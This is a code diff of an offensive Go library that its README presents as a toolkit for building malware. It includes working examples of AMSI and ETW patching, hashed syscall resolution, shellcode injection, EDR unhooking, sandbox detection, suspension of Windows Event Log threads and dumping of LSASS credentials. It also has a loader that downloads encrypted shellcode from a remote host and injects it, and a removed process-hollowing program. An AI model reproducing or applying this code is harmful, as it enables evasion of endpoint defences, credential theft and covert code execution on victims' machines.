if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
var tkp TokenPrivileges
|
||||
|
||||
result, _, err = LookupPrivilegeValue.Call(
|
||||
uintptr(0),
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))),
|
||||
uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
|
||||
)
|
||||
|
||||
if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
const SePrivilegeEnabled uint32 = 0x00000002
|
||||
|
||||
tkp.privilegeCount = 1
|
||||
tkp.privileges[0].attributes = SePrivilegeEnabled
|
||||
|
||||
result, _, err = AdjustTokenPrivileges.Call(
|
||||
hToken,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tkp)),
|
||||
0,
|
||||
uintptr(0),
|
||||
0,
|
||||
)
|
||||
|
||||
if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
result, _, _ = GetLastError.Call()
|
||||
if result != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Library
|
||||
|
||||
If you're looking to implement any function in your malware you can do it using the official package API. First of all download the package
|
||||
If you're looking to implement any function in your malware you can do it using the official package API. First of all you have to download the package
|
||||
|
||||
```sh
|
||||
go get github.com/D3Ext/Hooka/pkg/hooka
|
||||
@@ -15,7 +15,6 @@ package main
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
@@ -43,42 +42,31 @@ package main
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
|
||||
// 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = NtCreateThread
|
||||
// it comes from: hooka.HashFromFunc("NtCreateThread")
|
||||
// 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = Sha1(NtCreateThread)
|
||||
|
||||
// Returns a pointer to function like NewProc()
|
||||
proc, err := hooka.FuncFromHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4")
|
||||
// func GetFuncPtr(hash string, dll string, hashing_function func(str string) string) (*windows.LazyProc, string, error)
|
||||
NtCreateThread, _, err := hooka.GetFuncPtr("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
// Now use the procedure as loading it from dll
|
||||
r, err := hooka.Syscall(
|
||||
proc,
|
||||
arg1,
|
||||
arg2,
|
||||
arg3,
|
||||
arg4,
|
||||
)
|
||||
|
||||
...
|
||||
// Now use the procedure as usually
|
||||
NtCreateThread.Call(...)
|
||||
}
|
||||
```
|
||||
|
||||
> Apply AMSI and ETW patch
|
||||
> Patch AMSI and ETW
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
@@ -106,7 +94,6 @@ package main
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
@@ -133,6 +120,54 @@ func main(){
|
||||
}
|
||||
```
|
||||
|
||||
> Get syscall id using hashing
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
//func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error)
|
||||
NtCreateThread, err := hooka.GetSysIdHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
r, err := hooka.Syscall(NtCreateThread, ...)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
> Get syscall id using hashing combined with Hell's Gate + Halo's Gate
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
//func GetSysIdHashHalos(hash string, dll string, hashing_func func(str string) string) (uint16, string, error)
|
||||
NtCreateThread, err := hooka.GetSysIdHashHalos("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
r, err := hooka.Syscall(NtCreateThread, ...)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
> Use shellcode injection techniques
|
||||
```go
|
||||
package main
|
||||
@@ -140,26 +175,20 @@ package main
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
var calc_shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
|
||||
|
||||
func main(){
|
||||
err := hooka.CreateRemoteThread(calc_shellcode)
|
||||
// func CreateRemoteThread(shellcode []byte, pid int) error
|
||||
// specify the shellcode and the PID to inject the shellcode in. Use 0 as PID to inject in current process
|
||||
err := hooka.CreateRemoteThread(calc_shellcode, 0)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("Shellcode injected via CreateRemoteThread")
|
||||
|
||||
err = hooka.CreateProcess(calc_shellcode)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("Shellcode injected via CreateProcess")
|
||||
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
@@ -175,20 +204,21 @@ import (
|
||||
)
|
||||
|
||||
func main(){
|
||||
// Use classic technique
|
||||
err := hooka.ClassicUnhook("NtCreateThread", "C:\\Windows\\System32\\ntdll.dll")
|
||||
// this function unhooks given functions of especified dll using classic unhooking technique
|
||||
// func ClassicUnhook(funcnames []string, dllpath string) error
|
||||
err := hooka.ClassicUnhook([]string{"NtCreateThreadEx", "NtOpenProcess"}, "C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
// This technique loads original ntdll.dll from disk into memory to restore all functions
|
||||
err = hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
|
||||
// unhook all functions from every dll of a slice
|
||||
err = hooka.FullUnhook([]string{"C:\\Windows\\System32\\ntdll.dll", "C:\\Windows\\System32\\kernelbase.dll"})
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
// Use modern Perun's Fart technique
|
||||
err = hooka.PerunsUnhook()
|
||||
// get a clean copy of every DLL from a suspended process (e.g. notepad.exe) and copy the clean DLL to th the current process
|
||||
err = hooka.PerunsUnhook([]string{"C:\\Windows\\System32\\ntdll.dll", "C:\\Windows\\System32\\kernelbase.dll"})
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
@@ -197,25 +227,129 @@ func main(){
|
||||
}
|
||||
```
|
||||
|
||||
> Get function pointer
|
||||
> Enable ACG on current process
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
ptr, err := hooka.GetFuncPtr("NtCreateThread")
|
||||
err := hooka.EnableACG()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
> Block non-Microsoft signed DLLs on current process (BlockDLLs)
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
err := hooka.BlockDLLs()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
> Create process with BlockDLLs enabled
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
"fmt"
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
// launch a program (e.g. notepad.exe) with BlockDLLs enabled
|
||||
err := hooka.CreateProcessBlockDLLs("C:\\Windows\\System32\\notepad.exe")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("Process launched!")
|
||||
}
|
||||
```
|
||||
|
||||
> Detect sandbox using multiple techniques (see `evasion/sandbox` for specific functions)
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
"fmt"
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
check, err := hooka.AutoCheck()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println(ptr)
|
||||
if check {
|
||||
fmt.Println("Sandbox detected!")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
fmt.Println("Probably not a sandbox")
|
||||
}
|
||||
```
|
||||
|
||||
> Suspend EventLog threads (Phant0m technique)
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
"fmt"
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
pid, err := hooka.GetEventLogPid()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
err = hooka.Phant0m(pid)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("Success!")
|
||||
}
|
||||
```
|
||||
|
||||
> Dump lsass.exe to a file
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
"fmt"
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
err := hooka.DumpLsass("dump_file")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("lsass.exe dumped to a file")
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -7,8 +7,8 @@ import (
|
||||
"log"
|
||||
)
|
||||
|
||||
// Convert string to Sha1 (used for hashing)
|
||||
func StrToSha1(str string) string {
|
||||
// Convert string to SHA1 (used for hashing)
|
||||
func Sha1(str string) string {
|
||||
h := sha1.New()
|
||||
h.Write([]byte(str))
|
||||
bs := h.Sum(nil)
|
||||
@@ -17,12 +17,13 @@ func StrToSha1(str string) string {
|
||||
}
|
||||
|
||||
func main() {
|
||||
hash := "6caed95840c323932b680d07df0a1bce28a89d1c" // StrToSha1("NtWriteVirtualMemory")
|
||||
hash := "b4de6817d3b22d785568d6480b613c4b2520729a" // Sha1("GetCurrentProcess")
|
||||
|
||||
sysid, str, err := hooka.FuncFromHash(hash, "C:\\Windows\\System32\\ntdll.dll", StrToSha1)
|
||||
GetCurrentProcess, _, err := hooka.GetFuncPtr(hash, "C:\\Windows\\System32\\kernel32.dll", Sha1)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Printf("%s - %x\n", str, sysid)
|
||||
pHandle, _, _ := GetCurrentProcess.Call()
|
||||
fmt.Println("[+] Current process:", pHandle)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
fmt.Println("[*] Enabling BlockDLLs on current process...")
|
||||
err := hooka.BlockDLLs()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("[+] Now non-Microsoft signed DLLs can't inject into this process")
|
||||
|
||||
fmt.Println("[*] Creating a notepad.exe process with BlockDLLs enabled...")
|
||||
err = hooka.CreateProcessBlockDLLs("C:\\Windows\\System32\\notepad.exe")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("[+] Process created successfully")
|
||||
|
||||
time.Sleep(1000 * time.Second)
|
||||
|
||||
// Do some other stuff
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
// this is an example of a program to dump the LSASS.EXE process using evasion techniques
|
||||
func main(){
|
||||
fmt.Println("[*] Sleeping")
|
||||
hooka.Sleep()
|
||||
|
||||
fmt.Println("[*] Patching ETW")
|
||||
err := hooka.PatchEtw()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("[*] Unhooking ntdll.dll")
|
||||
err = hooka.PerunsUnhook()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("[*] Sleeping")
|
||||
hooka.Sleep()
|
||||
|
||||
fmt.Println("[*] Dumping lsass.exe process")
|
||||
err = hooka.DumpLsass("dump.tmpº")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("[+] Success!")
|
||||
}
|
||||
|
||||
|
||||
@@ -15,4 +15,6 @@ func main() {
|
||||
|
||||
fmt.Println("ACG Guard enabled!")
|
||||
time.Sleep(1000 * time.Second)
|
||||
|
||||
// Do some other stuff
|
||||
}
|
||||
|
||||
@@ -23,25 +23,25 @@ func StrToSha1(str string) string {
|
||||
|
||||
func main() {
|
||||
// 04262a7943514ab931287729e862ca663d81f515 --> StrToSha1("NtAllocateVirtualMemory")
|
||||
NtAllocateVirtualMemory, _, err := hooka.HalosFuncFromHash("04262a7943514ab931287729e862ca663d81f515", StrToSha1)
|
||||
NtAllocateVirtualMemory, _, err := hooka.GetSysIdHashHalos("04262a7943514ab931287729e862ca663d81f515", StrToSha1)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
// 6caed95840c323932b680d07df0a1bce28a89d1c --> StrToSha1("NtWriteVirtualMemory")
|
||||
NtWriteVirtualMemory, _, err := hooka.HalosFuncFromHash("6caed95840c323932b680d07df0a1bce28a89d1c", StrToSha1)
|
||||
NtWriteVirtualMemory, _, err := hooka.GetSysIdHashHalos("6caed95840c323932b680d07df0a1bce28a89d1c", StrToSha1)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
// 059637f5757d91ad1bc91215f73ab6037db6fe59 --> StrToSha1("NtProtectVirtualMemory")
|
||||
NtProtectVirtualMemory, _, err := hooka.HalosFuncFromHash("059637f5757d91ad1bc91215f73ab6037db6fe59", StrToSha1)
|
||||
NtProtectVirtualMemory, _, err := hooka.GetSysIdHashHalos("059637f5757d91ad1bc91215f73ab6037db6fe59", StrToSha1)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
// 91958a615f982790029f18c9cdb6d7f7e02d396f --> StrToSha1("NtCreateThreadEx")
|
||||
NtCreateThreadEx, _, err := hooka.HalosFuncFromHash("91958a615f982790029f18c9cdb6d7f7e02d396f", StrToSha1)
|
||||
NtCreateThreadEx, _, err := hooka.GetSysIdHashHalos("91958a615f982790029f18c9cdb6d7f7e02d396f", StrToSha1)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -1,231 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"golang.org/x/sys/windows"
|
||||
"log"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type IMAGE_DOS_HEADER struct { // DOS .EXE header
|
||||
/*E_magic uint16 // Magic number
|
||||
E_cblp uint16 // Bytes on last page of file
|
||||
E_cp uint16 // Pages in file
|
||||
E_crlc uint16 // Relocations
|
||||
E_cparhdr uint16 // Size of header in paragraphs
|
||||
E_minalloc uint16 // Minimum extra paragraphs needed
|
||||
E_maxalloc uint16 // Maximum extra paragraphs needed
|
||||
E_ss uint16 // Initial (relative) SS value
|
||||
E_sp uint16 // Initial SP value
|
||||
E_csum uint16 // Checksum
|
||||
E_ip uint16 // Initial IP value
|
||||
E_cs uint16 // Initial (relative) CS value
|
||||
E_lfarlc uint16 // File address of relocation table
|
||||
E_ovno uint16 // Overlay number
|
||||
E_res [4]uint16 // Reserved words
|
||||
E_oemid uint16 // OEM identifier (for E_oeminfo)
|
||||
E_oeminfo uint16 // OEM information; E_oemid specific
|
||||
E_res2 [10]uint16 // Reserved words*/
|
||||
E_lfanew uint32 // File address of new exe header
|
||||
}
|
||||
|
||||
type IMAGE_NT_HEADER struct {
|
||||
Signature uint32
|
||||
FileHeader IMAGE_FILE_HEADER
|
||||
OptionalHeader IMAGE_OPTIONAL_HEADER
|
||||
}
|
||||
|
||||
type IMAGE_FILE_HEADER struct {
|
||||
Machine uint16
|
||||
NumberOfSections uint16
|
||||
TimeDateStamp uint32
|
||||
PointerToSymbolTable uint32
|
||||
NumberOfSymbols uint32
|
||||
SizeOfOptionalHeader uint16
|
||||
Characteristics uint16
|
||||
}
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion uint8
|
||||
MinorLinkerVersion uint8
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory [16]IMAGE_DATA_DIRECTORY
|
||||
}
|
||||
|
||||
type IMAGE_DATA_DIRECTORY struct {
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
}
|
||||
|
||||
var calc_shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
|
||||
|
||||
func main() {
|
||||
// Load DLLs
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
|
||||
// Declare functions that will be used
|
||||
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
ResumeThread := kernel32.NewProc("ResumeThread")
|
||||
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
|
||||
|
||||
var info int32
|
||||
var returnLength int32
|
||||
|
||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||
var si windows.StartupInfo
|
||||
var pi windows.ProcessInformation
|
||||
|
||||
/*
|
||||
BOOL CreateProcessA(
|
||||
[in, optional] LPCSTR lpApplicationName,
|
||||
[in, out, optional] LPSTR lpCommandLine,
|
||||
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
[in] BOOL bInheritHandles,
|
||||
[in] DWORD dwCreationFlags,
|
||||
[in, optional] LPVOID lpEnvironment,
|
||||
[in, optional] LPCSTR lpCurrentDirectory,
|
||||
[in] LPSTARTUPINFOA lpStartupInfo,
|
||||
[out] LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
*/
|
||||
|
||||
fmt.Println("[*] Calling CreateProcess...")
|
||||
err := windows.CreateProcess(
|
||||
nil,
|
||||
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
|
||||
nil,
|
||||
nil,
|
||||
false,
|
||||
windows.CREATE_SUSPENDED,
|
||||
nil,
|
||||
nil,
|
||||
&si,
|
||||
&pi,
|
||||
)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
/*
|
||||
__kernel_entry NTSTATUS NtQueryInformationProcess(
|
||||
[in] HANDLE ProcessHandle,
|
||||
[in] PROCESSINFOCLASS ProcessInformationClass,
|
||||
[out] PVOID ProcessInformation,
|
||||
[in] ULONG ProcessInformationLength,
|
||||
[out, optional] PULONG ReturnLength
|
||||
);
|
||||
*/
|
||||
|
||||
fmt.Println("[*] Calling NtQueryInformationProcess...")
|
||||
NtQueryInformationProcess.Call(
|
||||
uintptr(pi.Process),
|
||||
uintptr(info),
|
||||
uintptr(unsafe.Pointer(&pbi)),
|
||||
uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
|
||||
uintptr(unsafe.Pointer(&returnLength)),
|
||||
)
|
||||
|
||||
pebOffset := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + 0x10
|
||||
var imageBase uintptr = 0
|
||||
|
||||
/*
|
||||
BOOL ReadProcessMemory(
|
||||
[in] HANDLE hProcess,
|
||||
[in] LPCVOID lpBaseAddress,
|
||||
[out] LPVOID lpBuffer,
|
||||
[in] SIZE_T nSize,
|
||||
[out] SIZE_T *lpNumberOfBytesRead
|
||||
);
|
||||
*/
|
||||
|
||||
fmt.Println("[*] Calling ReadProcessMemory...")
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
pebOffset,
|
||||
uintptr(unsafe.Pointer(&imageBase)),
|
||||
8,
|
||||
0,
|
||||
)
|
||||
|
||||
headersBuffer := make([]byte, 4096)
|
||||
|
||||
fmt.Println("[*] Calling ReadProcessMemory...")
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
uintptr(imageBase),
|
||||
uintptr(unsafe.Pointer(&headersBuffer[0])),
|
||||
4096,
|
||||
0,
|
||||
)
|
||||
|
||||
fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
|
||||
fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)
|
||||
|
||||
// Parse DOS header e_lfanew entry to calculate entry point address
|
||||
var dosHeader IMAGE_DOS_HEADER
|
||||
dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
|
||||
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
|
||||
codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase
|
||||
|
||||
/*
|
||||
BOOL WriteProcessMemory(
|
||||
[in] HANDLE hProcess,
|
||||
[in] LPVOID lpBaseAddress,
|
||||
[in] LPCVOID lpBuffer,
|
||||
[in] SIZE_T nSize,
|
||||
[out] SIZE_T *lpNumberOfBytesWritten
|
||||
);
|
||||
*/
|
||||
|
||||
fmt.Println("\n[*] Calling WriteProcessMemory...")
|
||||
WriteProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
codeEntry, // write shellcode to entry point
|
||||
uintptr(unsafe.Pointer(&calc_shellcode[0])),
|
||||
uintptr(len(calc_shellcode)),
|
||||
0,
|
||||
)
|
||||
|
||||
/*
|
||||
DWORD ResumeThread(
|
||||
[in] HANDLE hThread
|
||||
);
|
||||
*/
|
||||
|
||||
fmt.Println("[*] Calling ResumeThread...") // finally resume thread
|
||||
ResumeThread.Call(uintptr(pi.Thread))
|
||||
|
||||
// shellcode should have been executed at this point
|
||||
fmt.Println("[+] Shellcode executed!")
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
check, err := hooka.AutoCheck()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
if (check == true) {
|
||||
fmt.Println("Probably a sandbox")
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Println("Not a sandbox")
|
||||
}
|
||||
|
||||
@@ -16,6 +16,7 @@ func main() {
|
||||
}
|
||||
|
||||
fmt.Println("[*] Retrieving encrypted shellcode...")
|
||||
|
||||
// retrieve encrypted shellcode from remote url
|
||||
enc_shellcode, err := hooka.GetShellcodeFromUrl("http://192.168.116.128/shellcode.enc")
|
||||
if err != nil {
|
||||
@@ -30,12 +31,6 @@ func main() {
|
||||
}
|
||||
fmt.Println(shellcode)
|
||||
|
||||
fmt.Println("[*] Injecting shellcode...")
|
||||
err = hooka.CreateRemoteThreadHalos(shellcode)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("[*] Enabling ACG...")
|
||||
// enable ACG (useful if process doesn't exits after this)
|
||||
err = hooka.EnableACG()
|
||||
@@ -43,4 +38,11 @@ func main() {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("[*] Injecting shellcode...")
|
||||
err = hooka.NtCreateThreadExHalos(shellcode)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("[+] Success!")
|
||||
}
|
||||
|
||||
@@ -14,10 +14,11 @@ func main() {
|
||||
}
|
||||
fmt.Println("[+] Event Log PID:", eventlog_pid)
|
||||
|
||||
fmt.Println("[*] Killing Event Log threads...")
|
||||
fmt.Println("[*] Suspending EventLog threads...")
|
||||
err = hooka.Phant0m(eventlog_pid)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("[+] Success!")
|
||||
}
|
||||
@@ -4,23 +4,18 @@ go 1.19
|
||||
|
||||
require (
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
|
||||
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c
|
||||
github.com/D3Ext/maldev v0.1.4
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4
|
||||
github.com/google/uuid v1.3.1
|
||||
golang.org/x/sys v0.12.0
|
||||
golang.org/x/sys v0.15.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/alwindoss/morse v1.0.1 // indirect
|
||||
github.com/briandowns/spinner v1.23.0 // indirect
|
||||
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 // indirect
|
||||
github.com/ecies/go/v2 v2.0.4 // indirect
|
||||
github.com/ethereum/go-ethereum v1.10.17 // indirect
|
||||
github.com/fatih/color v1.15.0 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.18 // indirect
|
||||
github.com/mitchellh/go-ps v1.0.0 // indirect
|
||||
golang.org/x/crypto v0.4.0 // indirect
|
||||
golang.org/x/term v0.8.0 // indirect
|
||||
)
|
||||
|
||||
